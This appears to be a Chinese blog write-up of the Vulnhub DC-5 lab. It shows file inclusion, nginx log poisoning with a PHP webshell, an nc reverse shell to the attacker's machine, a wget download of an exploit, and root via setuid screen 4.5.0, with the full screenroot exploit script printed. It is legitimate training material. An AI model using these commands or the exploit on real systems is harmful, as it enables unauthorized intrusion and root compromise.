[Vulnhub] DC-5

下载链接:https://download.vulnhub.com/dc/DC-5.zip

同DC-4 这个靶机也是只有一个flag 不过官方描述说这个可能提高了一点点难度

官方描述:

        据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。

        仅作记录,不涉及 phpmailer 漏洞利用。:-)

        这个挑战的最终目标是获得root权限并读取唯一的flag

知识点:

  • 文件包含日志注入🐎
  • nc 反弹shell
  • python开启http服务&wget下载文件
  • suid-screen命令提权

目录

<1> 信息搜集

<2> ngnix日志注入一句话木马

<3> 反弹shell

<4> Privilege Escalation(提权)


<1> 信息搜集

扫一下靶机的ip

nmap -sP 192.168.236.0/24 扫描一下靶机ip

靶机ip: 192.168.236.135

nmap -A -p 1-65535 192.168.236.135 扫描一下靶机开放哪些服务

 

 访问80开放的http服务查看一下有没有可利用信息

发现在我们contact一栏,提交的时候 Copyright © 2019 变为了 Copyright © 2018

 使用dirsearch工具爆破目录,爆破出网站子域名,(dirb,gobuster都试了 字典不如dirsearch)

挨个访问看一下,发现访问/footer.php时会出现动态变化

thankyou.php不断刷新,下面也会发生变化。猜想thankyou.php调用footer.php,可能存在文件包含漏洞

那他会不会是通过传递参数来包含的呢,尝试?file=a 发现Copyright © 2019消失,file=footer.php 又出现,可以看见file参数存在文件包含漏洞 测试/etc/passwd 成功

<2> ngnix日志注入一句话木马

 服务器为ngnix,尝试进行日志注入,写一句话木马

ngnix日志文件路径:/var/log/nginx/access.log

burp抓包,修改file参数为/var/log/nginx/access.log   更改UA头为一句话木马,

变为空白,证明一句话🐎被当成php代码执行 蚁剑链接

<3> 反弹shell

本机kali 监听4444端口

nc -lvvp 4444

蚁剑打开虚拟终端

nc 192.168.236.128 -e /bin/bash 4444

拿到shell之后  转为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

<4> Privilege Escalation(提权)

尝试sudo -l 发现没有信息

再尝试看看是否存在suid权限的命令

find / -user root -perm -4000 -print 2>/dev/null

 发现/bin/screen-4.5.0,本地提权漏洞

 searchsploit screen 4.5.0  找到提权脚本

searchsploit -m 41154.sh 下载下来

 python开启一个http服务,用于靶机wget下载文件

python -m http.server 1234

注:其他目录没有写入文件的权限。只能wget下载到/tmp目录下

wget http://192.168.236.128:1234/41154.sh

在/tmp/目录下执行41154.sh 

赋予执行权限chmod 777 41154.sh
运行41154.sh

成功提权为root权限

进入/root 拿到flag

 如果不能执行的话,按照41154.sh文件里的命令 自己去编译 生成一下。也可以搞定

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值